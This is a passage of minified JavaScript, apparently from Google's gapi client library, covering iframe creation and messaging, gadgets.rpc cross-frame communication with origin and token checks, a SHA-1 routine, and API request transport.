0,this)};_.g.uY=function(a){var b=this.ya.R.onRestyle;b&&b.call(this,a,this);a=a&&"object"===typeof a?_.No(a):{};(b=this.Ha())&&a&&"object"===typeof a&&(_.Ud(a,"height")&&(a.height=_.Lo(a.height)),_.Ud(a,"width")&&(a.width=_.Lo(a.width)),_.Vd(a,b.style))}; _.g.sQ=function(a){var b=this.ya.R.onClose;b&&b.call(this,a,this);this.WF&&this.WF()||(b=this.Ha())&&b.parentNode&&b.parentNode.removeChild(b);if(b=this.ya.R.controller){var c={};c.frameName=this.Cd();_.Ao(b,"_g_disposeControl",c)}ro(this.uf+":"+this.Od.uf+":_g_wasClosed",a,this)};_.yo.prototype.bL=_.ea(14);_.yo.prototype.rL=_.ea(15);_.zo.prototype.sK=_.ea(16);_.zo.prototype.ik=function(a,b){this.register("_g_wasClosed",a,b)}; _.zo.prototype.V_=function(){delete this.getContext().Ge[this.Cd()];this.getContext().vb().setTimeout((0,_.A)(function(){this.Ca()},this),0)};_.vo("_g_close",_.zo.prototype.rQ);_.vo("_g_closeMe",_.zo.prototype.sQ);_.vo("_g_restyle",_.zo.prototype.tY);_.vo("_g_restyleMe",_.zo.prototype.uY);_.vo("_g_wasClosed",_.zo.prototype.V_); var Vo,Yo,Zo,$o;_.Nn.prototype.oo=_.rc(11,function(a){this.R.apis=a;return this});_.Nn.prototype.tk=_.rc(10,function(a){this.R.rpctoken=a;return this});_.Oo=function(a){a.R.show=!0;return a};_.Po=function(a,b){a.R.where=b;return a};_.Qo=function(a,b){a.R.onClose=b};_.Ro=function(a,b){a.rel="stylesheet";a.href=_.Sc(b)};_.So=function(a){this.R=a||{}};_.So.prototype.value=function(){return this.R};_.So.prototype.getIframe=function(){return this.R.iframe};_.To=function(a,b){a.R.role=b;return a}; _.So.prototype.$i=function(a){this.R.setRpcReady=a;return this};_.So.prototype.tk=function(a){this.R.rpctoken=a;return this};_.Uo=function(a){a.R.selfConnect=!0;return a};Vo=function(a){this.R=a||{}};Vo.prototype.value=function(){return this.R};var Wo=function(a){var b=new Vo;b.R.role=a;return b};Vo.prototype.xH=function(){return this.R.role};Vo.prototype.Xb=function(a){this.R.handler=a;return this};Vo.prototype.Bb=function(){return this.R.handler};var Xo=function(a,b){a.R.filter=b;return a}; Vo.prototype.oo=function(a){this.R.apis=a;return this};Yo=function(a){a.R.runOnce=!0;return a};Zo=/^https?:\/\/[^\/%\\?#\s]+$/i;$o={longdesc:!0,name:!0,src:!0,frameborder:!0,marginwidth:!0,marginheight:!0,scrolling:!0,align:!0,height:!0,width:!0,id:!0,"class":!0,title:!0,tabindex:!0,hspace:!0,vspace:!0,allowtransparency:!0};_.ap=function(a,b,c){var d=a.Ti,e=b.eo;_.ko(_.jo(c,a.eo+"/"+b.Ti),e+"/"+d);_.io(c,b.Cd()).Nh(b.wd)};_.yo.prototype.fy=_.ea(17);_.g=_.zo.prototype; _.g.vQ=function(a){var b=new _.ho(a);a=new _.So(b.value());if(a.R.selfConnect)var c=this;else(_.Ym(Zo.test(b.Qa()),"Illegal origin for connected iframe - "+b.Qa()),c=this.Od.Ge[b.Cd()],c)?_.mo(b)&&(c.$i(),_.Ao(c,"_g_rpcReady")):(b=_.io(_.ko(_.jo((new _.ho).tk(_.Un(b)),b.xl()),_.lo(b)).Nh(b.Qa()),b.Cd()).$i(_.mo(b)),c=this.Od.uj(b.value()));b=this.Od;var d=a.R.role;a=a.R.data;bp(b);d=d||"";_.Td(b.hy,d,[]).push({yf:c.Cd(),data:a});cp(c,a,b.wB[d])}; _.g.aD=function(a,b){(new _.ho(b)).R._relayedDepth||(b={},_.Uo(_.To(new _.So(b),"_opener")),_.Ao(a,"_g_connect",b))}; _.g.VJ=function(a){var b=this,c=a.R.messageHandlers,d=a.R.messageHandlersFilter,e=a.R.onClose;_.Qo(_.Wn(_.Vn(a,null),null),null);_.mh();return _.Ao(this,"_g_open",a.value()).then(function(f){var h=new _.ho(f[0]),k=h.Cd();f=new _.ho;var l=b.eo,n=_.lo(h);_.ko(_.jo(f,b.Ti+"/"+h.xl()),n+"/"+l);_.io(f,k);f.Nh(h.Qa());f.oo(h.R.apis);f.tk(_.Un(a));_.Vn(f,c);_.Wn(f,d);_.Qo(f,e);(h=b.Od.Ge[k])||(h=b.Od.uj(f.value()));return h})}; _.g.vC=function(a){var b=a.getUrl();_.Ym(!b||_.nn.test(b),"Illegal url for new iframe - "+b);var c=a.hn().value();b={};for(var d in c)_.Ud(c,d)&&_.Ud($o,d)&&(b[d]=c[d]);_.Ud(c,"style")&&(d=c.style,"object"===typeof d&&(b.style=_.No(d)));a.value().attributes=b}; _.g.gX=function(a){a=new _.ho(a);this.vC(a);var b=a.R._relayedDepth||0;a.R._relayedDepth=b+1;a.R.openerIframe=this;_.mh();var c=_.Un(a);a.tk(null);return this.Od.open(a.value()).then((0,_.A)(function(a){var d=(new _.ho(a.Ob())).R.apis,f=new _.ho;_.ap(a,this,f);0==b&&_.To(new _.So(f.value()),"_opener");f.$i(!0);f.tk(c);_.Ao(a,"_g_connect",f.value());f=new _.ho;_.io(_.ko(_.jo(f.oo(d),a.xl()),a.eo),a.Cd()).Nh(a.Qa());return f.value()},this))};var bp=function(a){a.hy||(a.hy=_.D(),a.wB=_.D())}; _.yo.prototype.xx=function(a,b,c,d){bp(this);"object"===typeof a?(b=new Vo(a),c=b.xH()||""):(b=Xo(Wo(a).Xb(b).oo(c),d),c=a);d=this.hy[c]||[];a=!1;for(var e=0;e<d.length&&!a;e++)cp(this.Ge[d[e].yf],d[e].data,[b]),a=b.R.runOnce;c=_.Td(this.wB,c,[]);a||b.R.dontWait||c.push(b)};_.yo.prototype.vK=_.ea(18); var cp=function(a,b,c){c=c||[];for(var d=0;d<c.length;d++){var e=c[d];if(e&&a){var f=e.R.filter||_.po;if(a&&f(a)){f=e.R.apis||[];for(var h=0;h<f.length;h++)a.Yo(f[h]);e.Bb()&&e.Bb()(a,b);e.R.runOnce&&(c.splice(d,1),--d)}}}};_.yo.prototype.sj=function(a,b,c){this.xx(Yo(Xo(Wo("_opener").Xb(a).oo(b),c)).value())};_.zo.prototype.sY=function(a){this.getContext().sj(function(b){b.send("_g_wasRestyled",a,void 0,_.M)},null,_.M)};var dp=_.ao.hb;dp&&dp.register("_g_restyleDone",_.zo.prototype.sY,_.M); _.vo("_g_connect",_.zo.prototype.vQ);var ep={};ep._g_open=_.zo.prototype.gX;_.to("_open",ep,_.M); _.w("gapi.iframes.create",_.Kn); _.zo.prototype.sK=_.rc(16,function(a,b){this.register("_g_wasRestyled",a,b)});_.g=_.yo.prototype;_.g.rL=_.rc(15,function(a){this.gw("onRestyleSelfFilter",a)});_.g.bL=_.rc(14,function(a){this.gw("onCloseSelfFilter",a)});_.g.pH=_.rc(13,function(){return this.hb});_.g.gw=_.rc(12,function(a,b){this.bK[a]=b});_.g.Dn=_.rc(3,function(){return this.Fb});_.zo.prototype.Dn=_.rc(2,function(){return this.Fb});_.w("gapi.iframes.registerStyle",function(a,b){_.Go[a]=b}); _.w("gapi.iframes.registerBeforeOpenStyle",function(a,b){_.Do[a]=b});_.w("gapi.iframes.getStyle",_.Fo);_.w("gapi.iframes.getBeforeOpenStyle",function(a){return _.Do[a]});_.w("gapi.iframes.registerIframesApi",_.to);_.w("gapi.iframes.registerIframesApiHandler",_.uo);_.w("gapi.iframes.getContext",_.wo);_.w("gapi.iframes.SAME_ORIGIN_IFRAMES_FILTER",_.po);_.w("gapi.iframes.CROSS_ORIGIN_IFRAMES_FILTER",_.M);_.w("gapi.iframes.makeWhiteListIframesFilter",_.qo);_.w("gapi.iframes.Context",_.yo); _.w("gapi.iframes.Context.prototype.isDisposed",_.yo.prototype.Dn);_.w("gapi.iframes.Context.prototype.getWindow",_.yo.prototype.vb);_.w("gapi.iframes.Context.prototype.getFrameName",_.yo.prototype.Cd);_.w("gapi.iframes.Context.prototype.getGlobalParam",_.yo.prototype.Ez);_.w("gapi.iframes.Context.prototype.setGlobalParam",_.yo.prototype.gw);_.w("gapi.iframes.Context.prototype.open",_.yo.prototype.open);_.w("gapi.iframes.Context.prototype.openChild",_.yo.prototype.Tg); _.w("gapi.iframes.Context.prototype.getParentIframe",_.yo.prototype.pH);_.w("gapi.iframes.Context.prototype.closeSelf",_.yo.prototype.dy);_.w("gapi.iframes.Context.prototype.restyleSelf",_.yo.prototype.sC);_.w("gapi.iframes.Context.prototype.setCloseSelfFilter",_.yo.prototype.bL);_.w("gapi.iframes.Context.prototype.setRestyleSelfFilter",_.yo.prototype.rL);_.w("gapi.iframes.Iframe",_.zo);_.w("gapi.iframes.Iframe.prototype.isDisposed",_.zo.prototype.Dn); _.w("gapi.iframes.Iframe.prototype.getContext",_.zo.prototype.getContext);_.w("gapi.iframes.Iframe.prototype.getFrameName",_.zo.prototype.Cd);_.w("gapi.iframes.Iframe.prototype.getId",_.zo.prototype.ka);_.w("gapi.iframes.Iframe.prototype.register",_.zo.prototype.register);_.w("gapi.iframes.Iframe.prototype.unregister",_.zo.prototype.unregister);_.w("gapi.iframes.Iframe.prototype.send",_.zo.prototype.send);_.w("gapi.iframes.Iframe.prototype.applyIframesApi",_.zo.prototype.Yo); _.w("gapi.iframes.Iframe.prototype.getIframeEl",_.zo.prototype.Ha);_.w("gapi.iframes.Iframe.prototype.getSiteEl",_.zo.prototype.$a);_.w("gapi.iframes.Iframe.prototype.setSiteEl",_.zo.prototype.Ze);_.w("gapi.iframes.Iframe.prototype.getWindow",_.zo.prototype.vb);_.w("gapi.iframes.Iframe.prototype.getOrigin",_.zo.prototype.Qa);_.w("gapi.iframes.Iframe.prototype.close",_.zo.prototype.close);_.w("gapi.iframes.Iframe.prototype.restyle",_.zo.prototype.tr); _.w("gapi.iframes.Iframe.prototype.restyleDone",_.zo.prototype.bo);_.w("gapi.iframes.Iframe.prototype.registerWasRestyled",_.zo.prototype.sK);_.w("gapi.iframes.Iframe.prototype.registerWasClosed",_.zo.prototype.ik);_.w("gapi.iframes.Iframe.prototype.getParam",_.zo.prototype.Mz);_.w("gapi.iframes.Iframe.prototype.setParam",_.zo.prototype.pL);_.w("gapi.iframes.Iframe.prototype.ping",_.zo.prototype.ping); var LM=function(a,b){a.R.data=b;return a};_.yo.prototype.vK=_.rc(18,function(a,b){a=_.Td(this.wB,a,[]);if(b)for(var c=0,d=!1;!d&&c<a.length;c++)a[c].Oe===b&&(d=!0,a.splice(c,1));else a.splice(0,a.length)}); _.yo.prototype.fy=_.rc(17,function(a,b){a=new _.So(a);var c=new _.So(b),d=_.mo(a);b=a.getIframe();var e=c.getIframe();if(e){var f=_.Un(a),h=new _.ho;_.ap(b,e,h);LM(_.To((new _.So(h.value())).tk(f),a.R.role),a.R.data).$i(d);var k=new _.ho;_.ap(e,b,k);LM(_.To((new _.So(k.value())).tk(f),c.R.role),c.R.data).$i(!0);_.Ao(b,"_g_connect",h.value(),function(){d||_.Ao(e,"_g_connect",k.value())});d&&_.Ao(e,"_g_connect",k.value())}else c={},LM(_.To(_.Uo(new _.So(c)),a.R.role),a.R.data),_.Ao(b,"_g_connect",c)}); _.w("gapi.iframes.Context.prototype.addOnConnectHandler",_.yo.prototype.xx);_.w("gapi.iframes.Context.prototype.removeOnConnectHandler",_.yo.prototype.vK);_.w("gapi.iframes.Context.prototype.addOnOpenerHandler",_.yo.prototype.sj);_.w("gapi.iframes.Context.prototype.connectIframes",_.yo.prototype.fy); _.ak=window.googleapis&&window.googleapis.server||{}; (function(){function a(a,b){if(!(a<c)&&d)if(2===a&&d.warn)d.warn(b);else if(3===a&&d.error)try{d.error(b)}catch(h){}else d.log&&d.log(b)}var b=function(b){a(1,b)};_.Ra=function(b){a(2,b)};_.Sa=function(b){a(3,b)};_.oe=function(){};b.INFO=1;b.WARNING=2;b.NONE=4;var c=1,d=window.console?window.console:window.opera?window.opera.postError:void 0;return b})(); _.pe=function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(_.Wa(d)){var e=a.length||0,f=d.length||0;a.length=e+f;for(var h=0;h<f;h++)a[e+h]=d[h]}else a.push(d)}}; _.I=_.I||{};_.I.Hs=function(a,b,c,d){"undefined"!=typeof a.addEventListener?a.addEventListener(b,c,d):"undefined"!=typeof a.attachEvent?a.attachEvent("on"+b,c):_.Ra("cannot attachBrowserEvent: "+b)};_.I.VX=function(a){var b=window;b.removeEventListener?b.removeEventListener("mousemove",a,!1):b.detachEvent?b.detachEvent("onmousemove",a):_.Ra("cannot removeBrowserEvent: mousemove")}; _.bk=function(){function a(){e[0]=1732584193;e[1]=4023233417;e[2]=2562383102;e[3]=271733878;e[4]=3285377520;p=n=0}function b(a){for(var b=h,c=0;64>c;c+=4)b[c/4]=a[c]<<24|a[c+1]<<16|a[c+2]<<8|a[c+3];for(c=16;80>c;c++)a=b[c-3]^b[c-8]^b[c-14]^b[c-16],b[c]=(a<<1|a>>>31)&4294967295;a=e[0];var d=e[1],f=e[2],k=e[3],l=e[4];for(c=0;80>c;c++){if(40>c)if(20>c){var n=k^d&(f^k);var p=1518500249}else n=d^f^k,p=1859775393;else 60>c?(n=d&f|k&(d|f),p=2400959708):(n=d^f^k,p=3395469782);n=((a<<5|a>>>27)&4294967295)+ n+l+p+b[c]&4294967295;l=k;k=f;f=(d<<30|d>>>2)&4294967295;d=a;a=n}e[0]=e[0]+a&4294967295;e[1]=e[1]+d&4294967295;e[2]=e[2]+f&4294967295;e[3]=e[3]+k&4294967295;e[4]=e[4]+l&4294967295}function c(a,c){if("string"===typeof a){a=(0,window.unescape)((0,window.encodeURIComponent)(a));for(var d=[],e=0,h=a.length;e<h;++e)d.push(a.charCodeAt(e));a=d}c||(c=a.length);d=0;if(0==n)for(;d+64<c;)b(a.slice(d,d+64)),d+=64,p+=64;for(;d<c;)if(f[n++]=a[d++],p++,64==n)for(n=0,b(f);d+64<c;)b(a.slice(d,d+64)),d+=64,p+=64} function d(){var a=[],d=8*p;56>n?c(k,56-n):c(k,64-(n-56));for(var h=63;56<=h;h--)f[h]=d&255,d>>>=8;b(f);for(h=d=0;5>h;h++)for(var l=24;0<=l;l-=8)a[d++]=e[h]>>l&255;return a}for(var e=[],f=[],h=[],k=[128],l=1;64>l;++l)k[l]=0;var n,p;a();return{reset:a,update:c,digest:d,Ig:function(){for(var a=d(),b="",c=0;c<a.length;c++)b+="0123456789ABCDEF".charAt(Math.floor(a[c]/16))+"0123456789ABCDEF".charAt(a[c]%16);return b}}}; _.ck=function(){function a(a){var b=_.bk();b.update(a);return b.Ig()}var b=window.crypto;if(b&&"function"==typeof b.getRandomValues)return function(){var a=new window.Uint32Array(1);b.getRandomValues(a);return Number("0."+a[0])};var c=_.H("random/maxObserveMousemove");null==c&&(c=-1);var d=0,e=Math.random(),f=1,h=1E6*(window.screen.width*window.screen.width+window.screen.height),k=function(a){a=a||window.event;var b=a.screenX+a.clientX<<16;b+=a.screenY+a.clientY;b*=(new Date).getTime()%1E6;f=f*b% h;0<c&&++d==c&&_.I.VX(k)};0!=c&&_.I.Hs(window,"mousemove",k,!1);var l=a(window.document.cookie+"|"+window.document.location+"|"+(new Date).getTime()+"|"+e);return function(){var b=f;b+=(0,window.parseInt)(l.substr(0,20),16);l=a(l);return b/(h+Math.pow(16,20))}}(); _.w("shindig.random",_.ck); _.I=_.I||{};(function(){var a=[];_.I.P9=function(b){a.push(b)};_.I.c$=function(){for(var b=0,c=a.length;b<c;++b)a[b]()}})(); _.we=function(){var a=window.gadgets&&window.gadgets.config&&window.gadgets.config.get;a&&_.le(a());return{register:function(a,c,d){d&&d(_.H())},get:function(a){return _.H(a)},update:function(a,c){if(c)throw"Config replacement is not supported";_.le(a)},Pb:function(){}}}(); _.w("gadgets.config.register",_.we.register);_.w("gadgets.config.get",_.we.get);_.w("gadgets.config.init",_.we.Pb);_.w("gadgets.config.update",_.we.update); var jf;_.gf=function(){var a=_.Qd.readyState;return"complete"===a||"interactive"===a&&-1==window.navigator.userAgent.indexOf("MSIE")};_.hf=function(a){if(_.gf())a();else{var b=!1,c=function(){if(!b)return b=!0,a.apply(this,arguments)};_.Nd.addEventListener?(_.Nd.addEventListener("load",c,!1),_.Nd.addEventListener("DOMContentLoaded",c,!1)):_.Nd.attachEvent&&(_.Nd.attachEvent("onreadystatechange",function(){_.gf()&&c.apply(this,arguments)}),_.Nd.attachEvent("onload",c))}};jf=jf||{};jf.HK=null; jf.zJ=null;jf.uu=null;jf.frameElement=null; jf=jf||{}; jf.ZD||(jf.ZD=function(){function a(a,b,c){"undefined"!=typeof window.addEventListener?window.addEventListener(a,b,c):"undefined"!=typeof window.attachEvent&&window.attachEvent("on"+a,b);"message"===a&&(window.___jsl=window.___jsl||{},a=window.___jsl,a.RPMQ=a.RPMQ||[],a.RPMQ.push(b))}function b(a){var b=_.cf(a.data);if(b&&b.f){(0,_.oe)("gadgets.rpc.receive("+window.name+"): "+a.data);var d=_.K.Bl(b.f);e&&("undefined"!==typeof a.origin?a.origin!==d:a.domain!==/^.+:\/\/([^:]+).*/.exec(d)[1])?_.Sa("Invalid rpc message origin. "+ d+" vs "+(a.origin||"")):c(b,a.origin)}}var c,d,e=!0;return{ZG:function(){return"wpm"},RV:function(){return!0},Pb:function(f,h){_.we.register("rpc",null,function(a){"true"===String((a&&a.rpc||{}).disableForceSecure)&&(e=!1)});c=f;d=h;a("message",b,!1);d("..",!0);return!0},Dc:function(a){d(a,!0);return!0},call:function(a,b,c){var d=_.K.Bl(a),e=_.K.bF(a);d?window.setTimeout(function(){var a=_.df(c);(0,_.oe)("gadgets.rpc.send("+window.name+"): "+a);e.postMessage(a,d)},0):".."!=a&&_.Sa("No relay set (used as window.postMessage targetOrigin), cannot send cross-domain message"); return!0}}}()); if(window.gadgets&&window.gadgets.rpc)"undefined"!=typeof _.K&&_.K||(_.K=window.gadgets.rpc,_.K.config=_.K.config,_.K.register=_.K.register,_.K.unregister=_.K.unregister,_.K.qK=_.K.registerDefault,_.K.oM=_.K.unregisterDefault,_.K.RG=_.K.forceParentVerifiable,_.K.call=_.K.call,_.K.kq=_.K.getRelayUrl,_.K.Ph=_.K.setRelayUrl,_.K.ew=_.K.setAuthToken,_.K.Hr=_.K.setupReceiver,_.K.fl=_.K.getAuthToken,_.K.kC=_.K.removeReceiver,_.K.uH=_.K.getRelayChannel,_.K.nK=_.K.receive,_.K.pK=_.K.receiveSameDomain,_.K.Qa= _.K.getOrigin,_.K.Bl=_.K.getTargetOrigin,_.K.bF=_.K._getTargetWin,_.K.xP=_.K._parseSiblingId);else{_.K=function(){function a(a,b){if(!aa[a]){var c=R;b||(c=ka);aa[a]=c;b=la[a]||[];for(var d=0;d<b.length;++d){var e=b[d];e.t=G[a];c.call(a,e.f,e)}la[a]=[]}}function b(){function a(){Ga=!0}N||("undefined"!=typeof window.addEventListener?window.addEventListener("unload",a,!1):"undefined"!=typeof window.attachEvent&&window.attachEvent("onunload",a),N=!0)}function c(a,c,d,e,f){G[c]&&G[c]===d||(_.Sa("Invalid gadgets.rpc token. "+ G[c]+" vs "+d),ua(c,2));f.onunload=function(){J[c]&&!Ga&&(ua(c,1),_.K.kC(c))};b();e=_.cf((0,window.decodeURIComponent)(e))}function d(b,c){if(b&&"string"===typeof b.s&&"string"===typeof b.f&&b.a instanceof Array)if(G[b.f]&&G[b.f]!==b.t&&(_.Sa("Invalid gadgets.rpc token. "+G[b.f]+" vs "+b.t),ua(b.f,2)),"__ack"===b.s)window.setTimeout(function(){a(b.f,!0)},0);else{b.c&&(b.callback=function(a){_.K.call(b.f,(b.g?"legacy__":"")+"__cb",null,b.c,a)});if(c){var d=e(c);b.origin=c;var f=b.r;try{var h=e(f)}catch(Ha){}f&& h==d||(f=c);b.referer=f}c=(y[b.s]||y[""]).apply(b,b.a);b.c&&"undefined"!==typeof c&&_.K.call(b.f,"__cb",null,b.c,c)}}function e(a){if(!a)return"";a=a.split("#")[0].split("?")[0];a=a.toLowerCase();0==a.indexOf("//")&&(a=window.location.protocol+a);-1==a.indexOf("://")&&(a=window.location.protocol+"//"+a);var b=a.substring(a.indexOf("://")+3),c=b.indexOf("/");-1!=c&&(b=b.substring(0,c));a=a.substring(0,a.indexOf("://"));if("http"!==a&&"https"!==a&&"chrome-extension"!==a&&"file"!==a&&"android-app"!== a&&"chrome-search"!==a)throw Error("p");c="";var d=b.indexOf(":");if(-1!=d){var e=b.substring(d+1);b=b.substring(0,d);if("http"===a&&"80"!==e||"https"===a&&"443"!==e)c=":"+e}return a+"://"+b+c}function f(a){if("/"==a.charAt(0)){var b=a.indexOf("|");return{id:0<b?a.substring(1,b):a.substring(1),origin:0<b?a.substring(b+1):null}}return null}function h(a){if("undefined"===typeof a||".."===a)return window.parent;var b=f(a);if(b)return window.top.frames[b.id];a=String(a);return(b=window.frames[a])?b:(b= window.document.getElementById(a))&&b.contentWindow?b.contentWindow:null}function k(a,b){if(!0!==J[a]){"undefined"===typeof J[a]&&(J[a]=0);var c=h(a);".."!==a&&null==c||!0!==R.Dc(a,b)?!0!==J[a]&&10>J[a]++?window.setTimeout(function(){k(a,b)},500):(aa[a]=ka,J[a]=!0):J[a]=!0}}function l(a){(a=F[a])&&"/"===a.substring(0,1)&&(a="/"===a.substring(1,2)?window.document.location.protocol+a:window.document.location.protocol+"//"+window.document.location.host+a);return a}function n(a,b,c){b&&!/http(s)?:\/\/.+/.test(b)&& (0==b.indexOf("//")?b=window.location.protocol+b:"/"==b.charAt(0)?b=window.location.protocol+"//"+window.location.host+b:-1==b.indexOf("://")&&(b=window.location.protocol+"//"+b));F[a]=b;"undefined"!==typeof c&&(E[a]=!!c)}function p(a,b){b=b||"";G[a]=String(b);k(a,b)}function q(a){a=(a.passReferrer||"").split(":",2);za=a[0]||"none";pa=a[1]||"origin"}function t(b){"true"===String(b.useLegacyProtocol)&&(R=jf.uu||ka,R.Pb(d,a))}function x(a,b){function c(c){c=c&&c.rpc||{};q(c);var d=c.parentRelayUrl|| "";d=e(V.parent||b)+d;n("..",d,"true"===String(c.useLegacyProtocol));t(c);p("..",a)}!V.parent&&b?c({}):_.we.register("rpc",null,c)}function v(a,b,c){if(".."===a)x(c||V.rpctoken||V.ifpctok||"",b);else a:{var d=null;if("/"!=a.charAt(0)){if(!_.I)break a;d=window.document.getElementById(a);if(!d)throw Error("q`"+a);}d=d&&d.src;b=b||_.K.Qa(d);n(a,b);b=_.I.xc(d);p(a,c||b.rpctoken)}}var y={},F={},E={},G={},B=0,L={},J={},V={},aa={},la={},za=null,pa=null,ba=window.top!==window.self,qa=window.name,ua=function(){}, db=window.console,ra=db&&db.log&&function(a){db.log(a)}||function(){},ka=function(){function a(a){return function(){ra(a+": call ignored")}}return{ZG:function(){return"noop"},RV:function(){return!0},Pb:a("init"),Dc:a("setup"),call:a("call")}}();_.I&&(V=_.I.xc());var Ga=!1,N=!1,R=function(){if("rmr"==V.rpctx)return jf.HK;var a="function"===typeof window.postMessage?jf.ZD:"object"===typeof window.postMessage?jf.ZD:window.ActiveXObject?jf.zJ?jf.zJ:jf.uu:0<window.navigator.userAgent.indexOf("WebKit")? jf.HK:"Gecko"===window.navigator.product?jf.frameElement:jf.uu;a||(a=ka);return a}();y[""]=function(){ra("Unknown RPC service: "+this.s)};y.__cb=function(a,b){var c=L[a];c&&(delete L[a],c.call(this,b))};return{config:function(a){"function"===typeof a.MK&&(ua=a.MK)},register:function(a,b){if("__cb"===a||"__ack"===a)throw Error("r");if(""===a)throw Error("s");y[a]=b},unregister:function(a){if("__cb"===a||"__ack"===a)throw Error("t");if(""===a)throw Error("u");delete y[a]},qK:function(a){y[""]=a},oM:function(){delete y[""]}, RG:function(){},call:function(a,b,c,d){a=a||"..";var e="..";".."===a?e=qa:"/"==a.charAt(0)&&(e=_.K.Qa(window.location.href),e="/"+qa+(e?"|"+e:""));++B;c&&(L[B]=c);var h={s:b,f:e,c:c?B:0,a:Array.prototype.slice.call(arguments,3),t:G[a],l:!!E[a]};a:if("bidir"===za||"c2p"===za&&".."===a||"p2c"===za&&".."!==a){var k=window.location.href;var l="?";if("query"===pa)l="#";else if("hash"===pa)break a;l=k.lastIndexOf(l);l=-1===l?k.length:l;k=k.substring(0,l)}else k=null;k&&(h.r=k);if(".."===a||null!=f(a)|| window.document.getElementById(a))(k=aa[a])||null===f(a)||(k=R),0===b.indexOf("legacy__")&&(k=R,h.s=b.substring(8),h.c=h.c?h.c:B),h.g=!0,h.r=e,k?(E[a]&&(k=jf.uu),!1===k.call(a,e,h)&&(aa[a]=ka,R.call(a,e,h))):la[a]?la[a].push(h):la[a]=[h]},kq:l,Ph:n,ew:p,Hr:v,fl:function(a){return G[a]},kC:function(a){delete F[a];delete E[a];delete G[a];delete J[a];delete aa[a]},uH:function(){return R.ZG()},nK:function(a,b){4<a.length?R.V7(a,d):c.apply(null,a.concat(b))},pK:function(a){a.a=Array.prototype.slice.call(a.a); window.setTimeout(function(){d(a)},0)},Qa:e,Bl:function(a){var b=null,c=l(a);c?b=c:(c=f(a))?b=c.origin:".."==a?b=V.parent:(a=window.document.getElementById(a))&&"iframe"===a.tagName.toLowerCase()&&(b=a.src);return e(b)},Pb:function(){!1===R.Pb(d,a)&&(R=ka);ba?v(".."):_.we.register("rpc",null,function(a){a=a.rpc||{};q(a);t(a)})},bF:h,xP:f,c0:"__ack",E5:qa||"..",T5:0,S5:1,R5:2}}();_.K.Pb()}; _.K.config({MK:function(a){throw Error("v`"+a);}});_.oe=_.ve;_.w("gadgets.rpc.config",_.K.config);_.w("gadgets.rpc.register",_.K.register);_.w("gadgets.rpc.unregister",_.K.unregister);_.w("gadgets.rpc.registerDefault",_.K.qK);_.w("gadgets.rpc.unregisterDefault",_.K.oM);_.w("gadgets.rpc.forceParentVerifiable",_.K.RG);_.w("gadgets.rpc.call",_.K.call);_.w("gadgets.rpc.getRelayUrl",_.K.kq);_.w("gadgets.rpc.setRelayUrl",_.K.Ph);_.w("gadgets.rpc.setAuthToken",_.K.ew);_.w("gadgets.rpc.setupReceiver",_.K.Hr);_.w("gadgets.rpc.getAuthToken",_.K.fl); _.w("gadgets.rpc.removeReceiver",_.K.kC);_.w("gadgets.rpc.getRelayChannel",_.K.uH);_.w("gadgets.rpc.receive",_.K.nK);_.w("gadgets.rpc.receiveSameDomain",_.K.pK);_.w("gadgets.rpc.getOrigin",_.K.Qa);_.w("gadgets.rpc.getTargetOrigin",_.K.Bl); var dk=function(a){return{execute:function(b){var c={method:a.httpMethod||"GET",root:a.root,path:a.url,params:a.urlParams,headers:a.headers,body:a.body},d=window.gapi,e=function(){var a=d.config.get("client/apiKey"),e=d.config.get("client/version");try{var k=d.config.get("googleapis.config/developerKey"),l=d.config.get("client/apiKey",k);d.config.update("client/apiKey",l);d.config.update("client/version","1.0.0-alpha");var n=d.client;n.request.call(n,c).then(b,b)}finally{d.config.update("client/apiKey", a),d.config.update("client/version",e)}};d.client?e():d.load.call(d,"client",e)}}},ek=function(a,b){return function(c){var d={};c=c.body;var e=_.cf(c),f={};if(e&&e.length)for(var h=0,k=e.length;h<k;++h){var l=e[h];f[l.id]=l}h=0;for(k=b.length;h<k;++h)l=b[h].id,d[l]=e&&e.length?f[l]:e;a(d,c)}},fk=function(a){a.transport={name:"googleapis",execute:function(b,c){for(var d=[],e=0,f=b.length;e<f;++e){var h=b[e],k=h.method,l=String(k).split(".")[0];l=_.H("googleapis.config/versions/"+k)||_.H("googleapis.config/versions/"+ l)||"v1";d.push({jsonrpc:"2.0",id:h.id,method:k,apiVersion:String(l),params:h.params})}b=dk({httpMethod:"POST",root:a.transport.root,url:"/rpc?pp=0",headers:{"Content-Type":"application/json"},body:d});b.execute.call(b,ek(c,d))},root:void 0}},gk=function(a){var b=this.method,c=this.transport;c.execute.call(c,[{method:b,id:b,params:this.rpc}],function(c){c=c[b];c.error||(c=c.data||c.result);a(c)})},ik=function(){for(var a=hk,b=a.split("."),c=function(b){b=b||{};b.groupId=b.groupId||"@self";b.userId= b.userId||"@viewer";b={method:a,rpc:b||{}};fk(b);b.execute=gk;return b},d=_.m,e=0,f=b.length;e<f;++e){var h=d[b[e]]||{};e+1==f&&(h=c);d=d[b[e]]=h}if(1<b.length&&"googleapis"!=b[0])for(b[0]="googleapis","delete"==b[b.length-1]&&(b[b.length-1]="remove"),d=_.m,e=0,f=b.length;e<f;++e)h=d[b[e]]||{},e+1==f&&(h=c),d=d[b[e]]=h},hk;for(hk in _.H("googleapis.config/methods"))ik(); _.w("googleapis.newHttpRequest",function(a){return dk(a)});_.w("googleapis.setUrlParameter",function(a,b){if("trace"!==a)throw Error("M");_.le("client/trace",b)}); _.fp=_.Td(_.ce,"rw",_.D()); var gp=function(a,b){(a=_.fp[a])&&a.state<b&&(a.state=b)};var hp=function(a){a=(a=_.fp[a])?a.oid:void 0;if(a){var b=_.Qd.getElementById(a);b&&b.parentNode.removeChild(b);delete _.fp[a];hp(a)}};_.ip=function(a){a=a.container;"string"===typeof a&&(a=window.document.getElementById(a));return a};_.jp=function(a){var b=a.clientWidth;return"position:absolute;top:-10000px;width:"+(b?b+"px":a.style.width||"300px")+";margin:0px;border-style:none;"}; _.kp=function(a,b){var c={},d=a.Ob(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e||(e=d.width||a.width);f||(f=d.height||a.height);d.width=c.width=e;d.height=c.height=f;d=a.Ha();e=a.ka();gp(e,2);a:{e=a.$a();c=c||{};if(_.ce.oa){var k=d.id;if(k){f=(f=_.fp[k])?f.state:void 0;if(1===f||4===f)break a;hp(k)}}(f=e.nextSibling)&&f.getAttribute&&f.getAttribute("data-gapistub")&&(e.parentNode.removeChild(f),e.style.cssText="");f=c.width;h=c.height;var l=e.style;l.textIndent="0";l.margin= 